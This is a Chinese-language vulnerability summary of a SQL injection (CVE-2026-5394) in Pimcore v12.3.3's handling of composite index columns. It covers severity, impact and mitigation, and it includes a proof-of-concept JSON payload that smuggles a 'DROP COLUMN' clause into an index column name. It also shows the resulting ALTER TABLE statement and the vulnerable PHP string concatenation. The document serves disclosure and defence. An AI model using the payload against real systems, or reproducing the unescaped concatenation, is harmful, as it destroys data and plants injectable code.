# Pimcore Platform v12.3.3 SQL注入漏洞总结 ## 漏洞概述 * **漏洞名称**:Pimcore Platform v12.3.3 - DataObject composite index handling SQL Injection * **漏洞类型**:SQL注入 (SQL Injection) * **严重程度**:高危 (High) * **CVSS评分**:7.0 (CVSS:3.0/AV:N/AC:L/AT:N/PR:H/UI:N/V:C/I:L/A:L/S:C/N/S/N/SAN) * **CVE编号**:CVE-2026-5394 * **发现者**:Oscar Naveda (Fluid Attacks AI SAST Scanner) * **漏洞成因**:在导入或保存DataObject类定义时,系统接受来自JSON的`compositeIndices`数据。后端在处理`ALTER TABLE`语句时,未对`index_columns`字段进行严格的标识符验证或转义,直接将其拼接到SQL语句中,导致攻击者可以注入恶意SQL代码。 ## 影响范围 * **受影响系统**:Pimcore Platform v12.3.3 * **利用条件**:需要具有管理员权限的认证用户(Authenticated administrative user),且具备导入或保存类定义的权限。 * **潜在影响**: * 未经授权修改对象查询/存储表的架构。 * 通过破坏预期的表布局导致后端服务拒绝服务 (DoS)。 * 影响DataObject存储和查询的数据完整性。 ## 修复方案 * **当前状态**:目前尚无官方补丁可用 (There is currently no patch available for this vulnerability)。 * **建议措施**:建议用户关注官方安全更新,或在应用层对导入的JSON数据进行严格的白名单校验和标识符转义处理。 ## 概念验证代码 (PoC) ### 1. 恶意JSON片段 攻击者通过修改JSON中的`index_columns`字段来注入SQL: ```json { "compositeIndices": [ { "index_key": "poc_idx", "index_type": "query", "index_columns": [ "slider), DROP COLUMN co_classname -- " ] } ] } ``` ### 2. 生成的恶意SQL语句 上述JSON会导致后端生成如下SQL语句: ```sql ALTER TABLE `object_query_` ADD INDEX `poc_idx` (`slider), DROP COLUMN co_classname -- `); ``` ### 3. 漏洞触发代码路径 (Source-to-Sink) 漏洞核心代码位于 `models/DataObject/ClassDefinition/Service.php` 和 `models/DataObject/Traits/CompositeIndexTrait.php` 中: ```php // 漏洞触发点:直接拼接未验证的 $columnName $this->db->executeQuery( 'ALTER TABLE ' . $table . ' ADD INDEX ' . $key . ' (' . $columnName . ');' ); ``` 其中 `$columnName` 是由 `implode(',', $columns)` 生成的,且未进行任何转义或白名单验证。